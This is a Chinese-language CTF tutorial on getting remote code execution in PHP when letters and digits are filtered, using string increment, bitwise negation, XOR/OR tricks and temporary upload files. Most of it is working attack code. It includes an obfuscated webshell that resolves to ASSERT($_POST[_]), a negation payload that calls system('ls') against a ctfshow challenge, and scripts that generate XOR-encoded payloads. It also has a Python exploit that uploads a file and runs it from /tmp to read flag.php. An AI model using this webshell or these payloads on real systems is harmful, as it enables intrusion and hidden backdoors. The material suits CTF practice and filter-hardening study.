目錄
自增
取反
異或
或
臨時文件上傳
自增
自 PHP 8.3.0 起,此功能已軟棄用
在 PHP 中,可以遞增非數字字符串。該字符串必須是字母數字 ASCII 字符串。當到達字母?
Z
?且遞增到下個字母時,將進位到左側值。例如,$a = 'Z'; $a++;
將?$a?變為?'AA'
。
意思就是當$a=a時,$a++ == b
這里構造payload還需要一個知識點
下劃線這個可以當作變量名例如:$_? ?$__這樣
php有一個特性當強制調用數組和字符串時,數組會被強制轉換為字符串Array
例如:
設置$_為數組? ? ? ?$_=[]? ? ? ?在調用他$_=@"$_"
在這段代碼中,
$_=[];
創建了一個空數組,并將其賦值給變量$_
。然后,$_=@"$_";
使用字符串拼接的方式將變量$_
轉換為字符串,并將結果重新賦值給變量$_
。而這樣就導致@"$_"強制使數組變成了字符串,這樣就讓@"$_"強制轉換為了Array
所以$_==Array? ? $_[0]==A
這里做的是無字母數字的rce所以0也不能用,使用"@"=="~"代替(@不等于~,所以返回false,而false等于0)
$_["@"=="~"]==A
webshell:? ? ? (######php大小寫不敏感)
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
取反
這里用ctfshow的web入門141題來講
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
~在php中是取反符號
例如:
~0 = -1?
也可以用在字符串上
~a = ?
通過這個原理可以做出無數字字母的rce
shell:
<?phpecho urlencode(~'system');
echo ' ';
echo urlencode(~'\'ls\'');
payload:
v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%D8%93%8C%D8)-
異或? 和? ?或
原理:
異或
在php里,兩個值進行異或,會先轉變成ASCII在轉變成2進制
?異或^:數字相同為1不同為0(1^1=1,1^0=0),利用這個特性來構造字符串
0&0=0;1&1=0;0&1=1;1&0=1
例如:'a'^'$'=E
或
?按位或運算|:參與運算的兩個數轉化為二進制后,全為1則取1,如果是1和0這種還是取1
例如:101|100=101? ? ? ? 101|101=101? ? 100|100=100
此腳本的大致原理就是將EASCII(延伸美國標準信息交換碼,是將ASCII碼由7位擴充為8位而成)編碼拿去異或,首先過一遍正則,把不需要的去掉,再把所有異或出來的信息保存到文本里,再通過python來篩選
或運算也是同理
##這里還是使用到羽師傅的腳本
<?php/*author yu22x*/$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {for ($j=0; $j <256 ; $j++) {if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根據題目給的正則表達式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
拋出文件后使用python構造paylaod
from sys import *def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)fun="system"
cmd="ls"
print("function:"+action(fun))
print("cmd:"+action(cmd))
臨時文件上傳
通過上傳文件然后用符號.調用執行文件
第一個知識點:
通過post上傳文件,此時php會在linux里的零時文件夾保存文件,且文件一定是php加上六個隨機的字符? ? ? /tmp/php??????
這個應php保存的臨時文件會有一個特性,就是這6個隨機的字符會出現大寫的情況
例如:
普通文件/tmp/adcabcabc
php保存的臨時文件/tmp/phpAvxAsa
第二個知識點:
現在直到了文件上傳的位置以及特性那么現在要怎么利用它
- shell下支持使用. 來執行文件
- linux支持glob通配符代替文件名
例如我們需要利用到/tmp/phpFsGFKd這個文件,他和其他文件的區別就是php保存的臨時文件會有大寫字母的出現,而glob支持利用
[0-9]
來表示一個范圍,這就很好的解決了問題,可以使用[@-[]這兩個字符之間真好是全部大寫字母,放在最后正好可以用來匹配文件名最后出現了大寫字母的文件
payload:.%20/???/????????[@-[]
import requestsurl = r'http://xxx.xxx/1.php?shell=?><?=. /???/????????[@-[]?>'
file = {'file': 'cat flag.php'
}response = requests.post(url, files=file)
print(response.text)